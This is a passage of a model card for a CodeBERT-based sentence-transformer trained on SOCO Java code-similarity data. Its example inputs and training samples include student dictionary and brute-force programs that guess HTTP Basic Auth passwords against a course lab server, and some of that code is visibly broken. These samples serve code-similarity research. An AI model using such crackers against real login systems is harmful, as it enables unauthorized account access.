\ bat <<= 8;\n if ((i+2) < data.length) {\n bat |= (0xFF\
\ & (int) data[i+2]);\n quad = true;\n }\n out[index+3]\
\ = alphabet[(quad? ( bat & 0x3F): 64)];\n bat >>= 6;\n out[index+2]\
\ = alphabet[(trip? ( bat & 0x3F): 64)];\n bat >>= 6;\n out[index+1]\
\ = alphabet[bat & 0x3F];\n bat >>= 6;\n out[index+0] = alphabet[\
\ bat & 0x3F];\n }\n return out;\n}\n\n \nstatic public byte[] decode(char[]\
\ data)\n{\n \n \n \n \n \n \n\n int tempLen = data.length;\n\
\ for( int ix=0; ix<data.length; ix++ )\n {\n if( (data[ix] > 255)\
\ || codes[ data[ix] ] < 0 )\n --tempLen; \n }\n \n \n \
\ \n \n\n int len = (tempLen / 4) * 3;\n if ((tempLen % 4) == 3) len\
\ += 2;\n if ((tempLen % 4) == 2) len += 1;\n\n byte[] out = new byte[len];\n\
\n\n\n int shift = 0; \n int accum = 0; \n int index = 0;\n\n \
\ \n for (int ix=0; ix<data.length; ix++)\n {\n int value = (data[ix]>255)?\
\ -1: codes[ data[ix] ];\n\n if ( value >= 0 ) \n {\n\
\ accum <<= 6; \n shift += 6; \n\
\ accum |= value; \n if ( shift >= 8 ) \n\
\ {\n shift -= 8; \n out[index++]\
\ = \n (byte) ((accum >> shift) & 0xff);\n \
\ }\n }\n \n \n \n \n \n \n \
\ }\n\n \n if( index != out.length)\n {\n throw new Error(\"\
Miscalculated data length (wrote \" + index + \" instead of \" + out.length +\
\ \")\");\n }\n\n return out;\n}\n\n\n\n\n\nstatic private char[] alphabet\
\ =\n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\"\
\n .toCharArray();\n\n\n\n\nstatic private byte[] codes = new byte[256];\n\
static {\n for (int i=0; i<256; i++) codes[i] = -1;\n for (int i = 'A';\
\ i <= 'Z'; i++) codes[i] = (byte)( i - 'A');\n for (int i = 'a'; i <=\
\ 'z'; i++) codes[i] = (byte)(26 + i - 'a');\n for (int i = '0'; i <= '9';\
\ i++) codes[i] = (byte)(52 + i - '0');\n codes['+'] = 62;\n codes['/']\
\ = 63;\n}\n}"
- source_sentence: "\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n\
{\n private String myUsername = \"\";\n private String myPassword = \"\";\n\
\ private String urlToCrack = \"http://sec-crack.cs.rmit.edu./SEC/2\";\n\n\n\
\ public static void main (String args[])\n {\n Dictionary d = new Dictionary();\n\
\ }\n\n public Dictionary()\n {\n generatePassword();\n }\n\n \n\
\n public void generatePassword()\n {\n try\n {\n BufferedReader\
\ = new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"));\n\n \
\ \n {\n myPassword = bf.readLine();\n crackPassword(myPassword);\n\
\ } while (myPassword != null);\n }\n catch(IOException e)\n\
\ { }\n }\n\n\n \n\n public void crackPassword(String passwordToCrack)\n\
\ {\n String data, dataToEncode, encodedData;\n\n try\n {\n \
\ URL url = new URL (urlToCrack);\n\n \n\n dataToEncode = myUsername\
\ + \":\" + passwordToCrack;\n\n \n\n encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\
\n URLConnection urlCon = url.openConnection();\n urlCon.setRequestProperty\
\ (\"Authorization\", \" \" + encodedData);\n\n InputStream is = (InputStream)urlCon.getInputStream();\n\
\ InputStreamReader isr = new InputStreamReader(is);\n BufferedReader\
\ bf = new BufferedReader (isr);\n\n \n {\n data\
\ = bf.readLine();\n System.out.println(data);\n displayPassword(passwordToCrack);\n\
\ } while (data != null);\n }\n catch (IOException e)\n \
\ { }\n }\n\n\n public void displayPassword(String foundPassword)\n {\n\
\ System.out.println(\"\\nThe cracked password is : \" + foundPassword);\n\
\ System.exit(0);\n }\n}\n\n\n"
sentences:
- "\nimport java.io.*;\n\npublic class PasswordFile {\n \n private String\
\ strFilepath;\n private String strCurrWord;\n private File fWordFile;\n\
\ private BufferedReader in;\n \n \n public PasswordFile(String filepath)\
\ {\n strFilepath = filepath;\n try {\n fWordFile = new\
\ File(strFilepath);\n in = new BufferedReader(new FileReader(fWordFile));\n\
\ }\n catch(Exception e)\n {\n System.out.println(\"\
Could not open file \" + strFilepath);\n }\n }\n \n String getPassword()\
\ {\n return strCurrWord;\n }\n \n String getNextPassword() {\n\
\ try {\n strCurrWord = in.readLine();\n \n \
\ \n \n }\n catch (Exception e)\n {\n \
\ \n return null;\n }\n \n return\
\ strCurrWord;\n }\n \n}\n"
- "\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport\
\ java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce\
\ {\n \n static char [] passwordDataSet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\
.toCharArray();\n \n private int indices[] = {0,0,0};\n \n private String\
\ url = null;\n\n \n public BruteForce(String url) {\n this.url = url;\n\n\
\ }\n \n private int attempts = 0;\n private boolean stopGen = false;\n \n\
\ public String getNextPassword(){\n String nextPassword = \"\";\n for(int\
\ i = 0; i <indices.length ; i++){\n if(indices[indices.length -1 ] == passwordDataSet.length)\n\
\ return null;\n if(indices[i] == passwordDataSet.length ){\n \
\ indices[i] = 0;\n indices[i+1]++;\n }\n nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\
\n if(i == 0)\n indices[0]++;\n\n }\n return nextPassword;\n\
\ }\n \n public void setIndices(int size){\n this.indices = new int[size];\n\
\ for(int i = 0; i < size; i++)\n this.indices[i] = 0;\n }\n public\
\ void setPasswordDataSet(String newDataSet){\n this.passwordDataSet = newDataSet.toCharArray();\n\
\ }\n \n public String crackPassword(String user) throws IOException, MalformedURLException{\n\
\ URL url = null;\n URLConnection urlConnection = null;\n String outcome\
\ = null;\n String authorization = null;\n String password = null;\n \
\ BASE64Encoder b64enc = new BASE64Encoder();\n InputStream content = null;\n\
\ BufferedReader in = null;\n String line;\n int i = 0;\n while(!\"\
HTTP/1.1 200 OK\".equalsIgnoreCase(outcome)){\n url = new URL(this.url);\n\
\ urlConnection = url.openConnection();\n urlConnection.setDoInput(true);\n\
\ urlConnection.setDoOutput(true);\n\n\n urlConnection.setRequestProperty(\"\
GET\", url.getPath() + \" HTTP/1.1\");\n urlConnection.setRequestProperty(\"\
Host\", url.getHost());\n password = getNextPassword();\n if(password\
\ == null)\n return null;\n System.out.print(password);\n authorization\
\ = user + \":\" + password;\n\n\n urlConnection.setRequestProperty(\"Authorization\"\
, \" \"+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null);\
\ \n\n\n\n this.attempts ++;\n urlConnection = null;\n url = null;\n\
\n if(this.attempts%51 == 0)\n for(int b = 0; b < 53;b++)\n \
\ System.out.print(\"\\b \\b\");\n else\n System.out.print(\"\\\
b\\b\\b.\");\n\n }\n return password;\n }\n \n public int getAttempts(){\n\
\ return this.attempts;\n }\n public static void main (String[] args) {\n\
\ if(args.length != 2){\n System.out.println(\"usage: java attacks.BruteForce\
\ <url crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >\"\
);\n System.exit(1);\n }\n\n BruteForce bruteForce1 = new BruteForce(args[0]);\n\
\ try{\n Calendar cal1=null, cal2=null;\n cal1 = Calendar.getInstance();\n\
\ System.out.println(\"Cracking started at: \" + cal1.getTime().toString());\n\
\ String password = bruteForce1.crackPassword(args[1]);\n if(password\
\ != null)\n System.out.println(\"\\nPassword is: \"+password);\n \
\ else\n System.out.println(\"\\nPassword could not retrieved!\");\n \
\ cal2 = Calendar.getInstance();\n System.out.println(\"Cracking finished\
\ at: \" + cal2.getTime().toString());\n Date d3 = new Date(cal2.getTime().getTime()\
\ - cal1.getTime().getTime());\n System.out.println(\"Total Time taken crack:\
\ \" + (d3.getTime())/1000 + \" sec\");\n System.out.println(\"Total attempts\
\ : \" + bruteForce1.getAttempts());\n\n }catch(MalformedURLException mue){\n\
\ mue.printStackTrace();\n }\n\n catch(IOException ioe){\n ioe.printStackTrace();\n\
\ }\n }\n}"
- "import java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class\
\ Dictionary\n{\n\tpublic static void main (String args[])\n\t{\n\t\t\n\t\t\n\
\ Calendar cal = Calendar.getInstance();\n Date now=cal.getTime();\n\
\ double startTime = now.getTime();\n\n\t\tString password=getPassword(startTime);\n\
\t\tSystem.out.println(\"The password is \" + password);\n\t}\n\n\tpublic static\
\ String getPassword(double startTime)\n\t{\n\t\tString password=\"\";\n\t\tint\
\ requests=0;\n\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tFileReader fRead = new FileReader(\"\
/usr/share/lib/dict/words\");\n\t\t\tBufferedReader buf = new BufferedReader(fRead);\n\
\n\t\t\tpassword=buf.readLine();\n\n\t\t\twhile (password != null)\n\t\t\t{\n\t\
\t\t\t\n\t\t\t\tif (password.length()<=3)\n\t\t\t\t{\n\t\t\t\t\trequests++;\n\t\
\t\t\t\tif (testPassword(password, startTime, requests))\n\t\t\t\t\t\treturn password;\n\
\t\t\t\t}\n\n\t\t\t\tpassword = buf.readLine();\n\n\t\t\t}\n\t\t}\n\t\tcatch (IOException\
\ ioe)\n\t\t{\n\n\t\t}\n\n\t\treturn password;\n\t}\n\n\tprivate static boolean\
\ testPassword(String password, double startTime, int requests)\n\t{\n\t\ttry\n\
\t\t{\n\t\t\t\n\t\t\t\n\t\t\tURL url=new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\
);\n\n\t\t\tHttpURLConnection connection;\n\n \t\tString userPassword = \"\
:\" + password;\n\n \t\t\n \t\tString encoding = new url.misc.BASE64Encoder().encode\
\ (userPassword.getBytes());\n\n\t\t\ttry\n\t\t\t{\n\t\t\t\t\n\t\t\t\tconnection\
\ = (HttpURLConnection) url.openConnection();\n\t\t\t\t\n\t\t\t\tconnection.setRequestProperty(\"\
Authorization\", \" \" + encoding);\n\n\t\t\t\t\n\t\t\t\tint status=connection.getResponseCode();\n\
\n\t\t\t\tSystem.out.println(password + requests);\n\n\t\t\t\tif (status==200)\n\
\t\t\t\t{\n\t\t\t\t\tSystem.out.println(\"It took \" + getTime(startTime) + \"\
\ milliseconds find the password.\");\n\t\t\t\t\tSystem.out.println(\" were \"\
\ + requests + \" requests .\");\n\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\
\treturn false;\n\n\t\t\t}\n\n\t\t\tcatch (IOException ioe)\n\t\t\t{\n\t\t\t\t\
System.out.print(ioe);\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t}\n\n\t\tcatch (IOException\
\ MalformedURLException)\n\t\t{\n\t\t\tSystem.out.print(\"Invalid URL\");\n\t\t\
\treturn false;\n\t\t}\n\t}\n\n\n\tprivate static double getTime(double startTime)\n\
\t{\n\t\t\n\t\t\n Calendar cal = Calendar.getInstance();\n Date\
\ now=cal.getTime();\n double endTime = now.getTime();\n\n return\
\ endTime-startTime;\n\n\t}\n\n}\n"
pipeline_tag: sentence-similarity
library_name: sentence-transformers
---
# SentenceTransformer based on microsoft/codebert-base
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/codebert-base](https://huggingface.co/microsoft/codebert-base). It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
## Model Details
### Model Description
- **Model Type:** Sentence Transformer
- **Base model:** [microsoft/codebert-base](https://huggingface.co/microsoft/codebert-base) <!-- at revision 3b0952feddeffad0063f274080e3c23d75e7eb39 -->
- **Maximum Sequence Length:** 512 tokens
- **Output Dimensionality:** 768 dimensions
- **Similarity Function:** Cosine Similarity
<!-- - **Training Dataset:** Unknown -->
<!-- - **Language:** Unknown -->
<!-- - **License:** Unknown -->
### Model Sources
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
### Full Model Architecture
```
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
```
## Usage
### Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
```bash
pip install -U sentence-transformers
```
Then you can load this model and run inference.
```python
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
'\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n private String myUsername = "";\n private String myPassword = "";\n private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n public static void main (String args[])\n {\n Dictionary d = new Dictionary();\n }\n\n public Dictionary()\n {\n generatePassword();\n }\n\n \n\n public void generatePassword()\n {\n try\n {\n BufferedReader = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n \n {\n myPassword = bf.readLine();\n crackPassword(myPassword);\n } while (myPassword != null);\n }\n catch(IOException e)\n { }\n }\n\n\n \n\n public void crackPassword(String passwordToCrack)\n {\n String data, dataToEncode, encodedData;\n\n try\n {\n URL url = new URL (urlToCrack);\n\n \n\n dataToEncode = myUsername + ":" + passwordToCrack;\n\n \n\n encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n URLConnection urlCon = url.openConnection();\n urlCon.setRequestProperty ("Authorization", " " + encodedData);\n\n InputStream is = (InputStream)urlCon.getInputStream();\n InputStreamReader isr = new InputStreamReader(is);\n BufferedReader bf = new BufferedReader (isr);\n\n \n {\n data = bf.readLine();\n System.out.println(data);\n displayPassword(passwordToCrack);\n } while (data != null);\n }\n catch (IOException e)\n { }\n }\n\n\n public void displayPassword(String foundPassword)\n {\n System.out.println("\\nThe cracked password is : " + foundPassword);\n System.exit(0);\n }\n}\n\n\n',
'\nimport java.io.*;\n\npublic class PasswordFile {\n \n private String strFilepath;\n private String strCurrWord;\n private File fWordFile;\n private BufferedReader in;\n \n \n public PasswordFile(String filepath) {\n strFilepath = filepath;\n try {\n fWordFile = new File(strFilepath);\n in = new BufferedReader(new FileReader(fWordFile));\n }\n catch(Exception e)\n {\n System.out.println("Could not open file " + strFilepath);\n }\n }\n \n String getPassword() {\n return strCurrWord;\n }\n \n String getNextPassword() {\n try {\n strCurrWord = in.readLine();\n \n \n \n }\n catch (Exception e)\n {\n \n return null;\n }\n \n return strCurrWord;\n }\n \n}\n',
'\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n \n static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n \n private int indices[] = {0,0,0};\n \n private String url = null;\n\n \n public BruteForce(String url) {\n this.url = url;\n\n }\n \n private int attempts = 0;\n private boolean stopGen = false;\n \n public String getNextPassword(){\n String nextPassword = "";\n for(int i = 0; i <indices.length ; i++){\n if(indices[indices.length -1 ] == passwordDataSet.length)\n return null;\n if(indices[i] == passwordDataSet.length ){\n indices[i] = 0;\n indices[i+1]++;\n }\n nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n if(i == 0)\n indices[0]++;\n\n }\n return nextPassword;\n }\n \n public void setIndices(int size){\n this.indices = new int[size];\n for(int i = 0; i < size; i++)\n this.indices[i] = 0;\n }\n public void setPasswordDataSet(String newDataSet){\n this.passwordDataSet = newDataSet.toCharArray();\n }\n \n public String crackPassword(String user) throws IOException, MalformedURLException{\n URL url = null;\n URLConnection urlConnection = null;\n String outcome = null;\n String authorization = null;\n String password = null;\n BASE64Encoder b64enc = new BASE64Encoder();\n InputStream content = null;\n BufferedReader in = null;\n String line;\n int i = 0;\n while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n url = new URL(this.url);\n urlConnection = url.openConnection();\n urlConnection.setDoInput(true);\n urlConnection.setDoOutput(true);\n\n\n urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n urlConnection.setRequestProperty("Host", url.getHost());\n password = getNextPassword();\n if(password == null)\n return null;\n System.out.print(password);\n authorization = user + ":" + password;\n\n\n urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n this.attempts ++;\n urlConnection = null;\n url = null;\n\n if(this.attempts%51 == 0)\n for(int b = 0; b < 53;b++)\n System.out.print("\\b \\b");\n else\n System.out.print("\\b\\b\\b.");\n\n }\n return password;\n }\n \n public int getAttempts(){\n return this.attempts;\n }\n public static void main (String[] args) {\n if(args.length != 2){\n System.out.println("usage: java attacks.BruteForce <url crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n System.exit(1);\n }\n\n BruteForce bruteForce1 = new BruteForce(args[0]);\n try{\n Calendar cal1=null, cal2=null;\n cal1 = Calendar.getInstance();\n System.out.println("Cracking started at: " + cal1.getTime().toString());\n String password = bruteForce1.crackPassword(args[1]);\n if(password != null)\n System.out.println("\\nPassword is: "+password);\n else\n System.out.println("\\nPassword could not retrieved!");\n cal2 = Calendar.getInstance();\n System.out.println("Cracking finished at: " + cal2.getTime().toString());\n Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n System.out.println("Total Time taken crack: " + (d3.getTime())/1000 + " sec");\n System.out.println("Total attempts : " + bruteForce1.getAttempts());\n\n }catch(MalformedURLException mue){\n mue.printStackTrace();\n }\n\n catch(IOException ioe){\n ioe.printStackTrace();\n }\n }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
```
<!--
### Direct Usage (Transformers)
<details><summary>Click to see the direct usage in Transformers</summary>
</details>
-->
<!--
### Downstream Usage (Sentence Transformers)
You can finetune this model on your own dataset.
<details><summary>Click to expand</summary>
</details>
-->
<!--
### Out-of-Scope Use
*List how the model may foreseeably be misused and address what users ought not to do with the model.*
-->
<!--
## Bias, Risks and Limitations
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
-->
<!--
### Recommendations
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
-->
## Training Details
### Training Dataset
#### Unnamed Dataset
* Size: 33,411 training samples
* Columns: <code>sentence_0</code>, <code>sentence_1</code>, and <code>label</code>
* Approximate statistics based on the first 1000 samples:
| | sentence_0 | sentence_1 | label |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-----------------------------------------------|
| type | string | string | int |
| details | <ul><li>min: 61 tokens</li><li>mean: 471.36 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 61 tokens</li><li>mean: 491.01 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>0: ~99.50%</li><li>1: ~0.50%</li></ul> |
* Samples:
| sentence_0 | sentence_1 | label |
|:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------|
| <code><br>public class ImageFile<br>{<br> private String imageUrl;<br> private int imageSize;<br><br> public ImageFile(String url, int size)<br> {<br> imageUrl=url;<br> imageSize=size;<br> }<br><br> public String getImageUrl()<br> {<br> return imageUrl;<br> }<br><br> public int getImageSize()<br> {<br> return imageSize;<br> }<br>}<br></code> | <code><br><br><br><br>import java.net.*;<br>import java.io.*;<br>import java.util.Date;<br><br>public class MyMail implements Serializable<br>{<br> <br><br> <br> public static final int SMTPPort = 25;<br><br> <br> public static final char successPrefix = '2';<br><br> <br> public static final char morePrefix = '3';<br><br> <br> public static final char failurePrefix = '4';<br><br> <br><br> <br> private static final String CRLF = "\r\n";<br><br> <br> private String mailFrom = "";<br><br> <br> private String mailTo = "";<br><br> <br> private String messageSubject = "";<br><br> <br> private String messageBody = "";<br><br> <br> private String mailServer = "";<br><br> <br> public MyMail ()<br> {<br> <br> super();<br> }<br><br> <br> public MyMail ( String serverName)<br> {<br> <br> super();<br><br> <br> mailServer = serverName;<br> }<br><br> <br> public String getFrom()<br> {<br> return mailFrom;<br> }<br><br> <br> public String getTo()<br> {<br> return mailTo;<br> }<br><br> <br> public String getSubject()<br> {<br> return messageSubject;<br> }<br><br> <br> public String getMessage()<br> {<br> return messageBody;<br> }<br><br> <br> public String getMailServer()<br> {<br> return mailServer;<br> }<br><br> <br> public void setFrom( String from )<br> {<br> <br> mailFr...</code> | <code>0</code> |
| <code><br>import java.util.*;<br>import java.net.*;<br>import java.io.*;<br>public class WatchDog<br>{<br> private Vector init;<br> public WatchDog()<br> {<br> try<br> {<br> Runtime run = Runtime.getRuntime();<br> String command_line = "lynx http://www.cs.rmit.edu./students/ -dump";<br> Process result = run.exec(command_line);<br> BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));<br> String inputLine;<br> init = new Vector();<br> while ((inputLine = in.readLine()) != null)<br> {<br> init.addElement(inputLine);<br> }<br> <br> }catch(Exception e)<br> {<br> }<br> }<br> public static void main(String args[])<br> {<br> WatchDog wd = new WatchDog();<br> wd.nextRead();<br> }<br><br> public void nextRead()<br> {<br> while(true)<br> {<br> ScheduleTask sch = new ScheduleTask(init);<br> if(sch.getFlag()!=0)<br> {<br> System.out.println("change happen");<br> WatchDog wd = new WatchDog();<br> wd.nextRead();<br> }<br> <br> }<br> }<br>}</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class Dictionary{<br><br> private static URL location;<br> private static String user;<br> private BufferedReader input;<br> private static BufferedReader dictionary;<br> private int maxLetters = 3;<br><br> <br><br> public Dictionary() {<br> <br> Authenticator.setDefault(new MyAuthenticator ());<br><br> startTime = System.currentTimeMillis();<br> boolean passwordMatched = false;<br> while (!passwordMatched) {<br> try {<br> input = new BufferedReader(new InputStreamReader(location.openStream()));<br> String line = input.readLine();<br> while (line != null) {<br> System.out.println(line);<br> line = input.readLine();<br> }<br> input.close();<br> passwordMatched = true;<br> }<br> catch (ProtocolException e)<br> {<br> <br> <br> }<br> catch (ConnectException e) {<br> System.out.println("Failed connect");<br> }<br> catch (IOException e) ...</code> | <code>0</code> |
| <code><br>import java.util.*;<br>import java.net.*;<br>import java.io.*;<br>public class ScheduleTask extends Thread<br>{<br><br> private int flag=0,count1=0,count2=0;<br> private Vector change;<br> public ScheduleTask(Vector init)<br> {<br> try<br> {<br><br> Runtime run = Runtime.getRuntime();<br> String command_line = "lynx http://yallara.cs.rmit.edu./~/index.html -dump";<br> Process result = run.exec(command_line);<br> BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));<br> String inputLine;<br> Vector newVector = new Vector();<br> change = new Vector();<br> while ((inputLine = in.readLine()) != null)<br> {<br> newVector.addElement(inputLine);<br> }<br> if(init.size()>newVector.size())<br> {<br> for(int k=0;k<newVector.size();k++)<br> {<br> if(!newVector.elementAt(k).toString().equals(init.elementAt(k).toString()))<br> ch...</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br>public class Dictionary<br>{<br> public static void main (String args[])<br> {<br> <br> <br> Calendar cal = Calendar.getInstance();<br> Date now=cal.getTime();<br> double startTime = now.getTime();<br><br> String password=getPassword(startTime);<br> System.out.println("The password is " + password);<br> }<br><br> public static String getPassword(double startTime)<br> {<br> String password="";<br> int requests=0;<br><br> try<br> {<br> <br> FileReader fRead = new FileReader("/usr/share/lib/dict/words");<br> BufferedReader buf = new BufferedReader(fRead);<br><br> password=buf.readLine();<br><br> while (password != null)<br> {<br> <br> if (password.length()<=3)<br> {<br> requests++;<br> if (testPassword(password, startTime, requests))<br> return password;<br> }<br><br> password = buf.readLine();<br><br> }<br> }<br> catch (IOException ioe)<br> {<br><br> }<br><br> return password;<br> }<br><br> private static boolean testPassword(String password, double startTime, int requests)<br> {<br> try<br> {<br> <br> <br> U...</code> | <code>0</code> |
* Loss: [<code>BatchAllTripletLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss)
### Training Hyperparameters
#### Non-Default Hyperparameters
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `num_train_epochs`: 1
- `multi_dataset_batch_sampler`: round_robin
#### All Hyperparameters
<details><summary>Click to expand</summary>
- `overwrite_output_dir`: False
- `do_predict`: False
- `eval_strategy`: no
- `prediction_loss_only`: True
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 16
- `per_gpu_train_batch_size`: None
- `per_gpu_eval_batch_size`: None
- `gradient_accumulation_steps`: 1
- `eval_accumulation_steps`: None
- `torch_empty_cache_steps`: None
- `learning_rate`: 5e-05
- `weight_decay`: 0.0
- `adam_beta1`: 0.9
- `adam_beta2`: 0.999
- `adam_epsilon`: 1e-08
- `max_grad_norm`: 1
- `num_train_epochs`: 1
- `max_steps`: -1
- `lr_scheduler_type`: linear
- `lr_scheduler_kwargs`: {}
- `warmup_ratio`: 0.0
- `warmup_steps`: 0
- `log_level`: passive
- `log_level_replica`: warning
- `log_on_each_node`: True
- `logging_nan_inf_filter`: True
- `save_safetensors`: True
- `save_on_each_node`: False
- `save_only_model`: False
- `restore_callback_states_from_checkpoint`: False
- `no_cuda`: False
- `use_cpu`: False
- `use_mps_device`: False
- `seed`: 42
- `data_seed`: None
- `jit_mode_eval`: False
- `use_ipex`: False
- `bf16`: False
- `fp16`: False
- `fp16_opt_level`: O1
- `half_precision_backend`: auto
- `bf16_full_eval`: False
- `fp16_full_eval`: False
- `tf32`: None
- `local_rank`: 0
- `ddp_backend`: None
- `tpu_num_cores`: None
- `tpu_metrics_debug`: False
- `debug`: []
- `dataloader_drop_last`: False
- `dataloader_num_workers`: 0
- `dataloader_prefetch_factor`: None
- `past_index`: -1
- `disable_tqdm`: False
- `remove_unused_columns`: True
- `label_names`: None
- `load_best_model_at_end`: False
- `ignore_data_skip`: False
- `fsdp`: []
- `fsdp_min_num_params`: 0
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
- `fsdp_transformer_layer_cls_to_wrap`: None
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
- `deepspeed`: None
- `label_smoothing_factor`: 0.0
- `optim`: adamw_torch
- `optim_args`: None
- `adafactor`: False
- `group_by_length`: False
- `length_column_name`: length
- `ddp_find_unused_parameters`: None
- `ddp_bucket_cap_mb`: None
- `ddp_broadcast_buffers`: False
- `dataloader_pin_memory`: True
- `dataloader_persistent_workers`: False
- `skip_memory_metrics`: True
- `use_legacy_prediction_loop`: False
- `push_to_hub`: False
- `resume_from_checkpoint`: None
- `hub_model_id`: None
- `hub_strategy`: every_save
- `hub_private_repo`: None
- `hub_always_push`: False
- `gradient_checkpointing`: False
- `gradient_checkpointing_kwargs`: None
- `include_inputs_for_metrics`: False
- `include_for_metrics`: []
- `eval_do_concat_batches`: True
- `fp16_backend`: auto
- `push_to_hub_model_id`: None
- `push_to_hub_organization`: None
- `mp_parameters`:
- `auto_find_batch_size`: False
- `full_determinism`: False
- `torchdynamo`: None
- `ray_scope`: last
- `ddp_timeout`: 1800
- `torch_compile`: False
- `torch_compile_backend`: None
- `torch_compile_mode`: None
- `include_tokens_per_second`: False
- `include_num_input_tokens_seen`: False
- `neftune_noise_alpha`: None
- `optim_target_modules`: None
- `batch_eval_metrics`: False
- `eval_on_start`: False
- `use_liger_kernel`: False
- `eval_use_gather_object`: False
- `average_tokens_across_devices`: False
- `prompts`: None
- `batch_sampler`: batch_sampler
- `multi_dataset_batch_sampler`: round_robin
</details>
### Training Logs
| Epoch | Step | Training Loss |
|:------:|:----:|:-------------:|
| 0.2393 | 500 | 0.1875 |
| 0.4787 | 1000 | 0.1815 |
| 0.7180 | 1500 | 0.24 |
| 0.9574 | 2000 | 0.1596 |
### Framework Versions
- Python: 3.11.13
- Sentence Transformers: 4.1.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.7.0
- Datasets: 3.6.0
- Tokenizers: 0.21.1
## Citation
### BibTeX
#### Sentence Transformers
```bibtex
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
```
#### BatchAllTripletLoss
```bibtex
@misc{hermans2017defense,
title={In Defense of the Triplet Loss for Person Re-Identification},
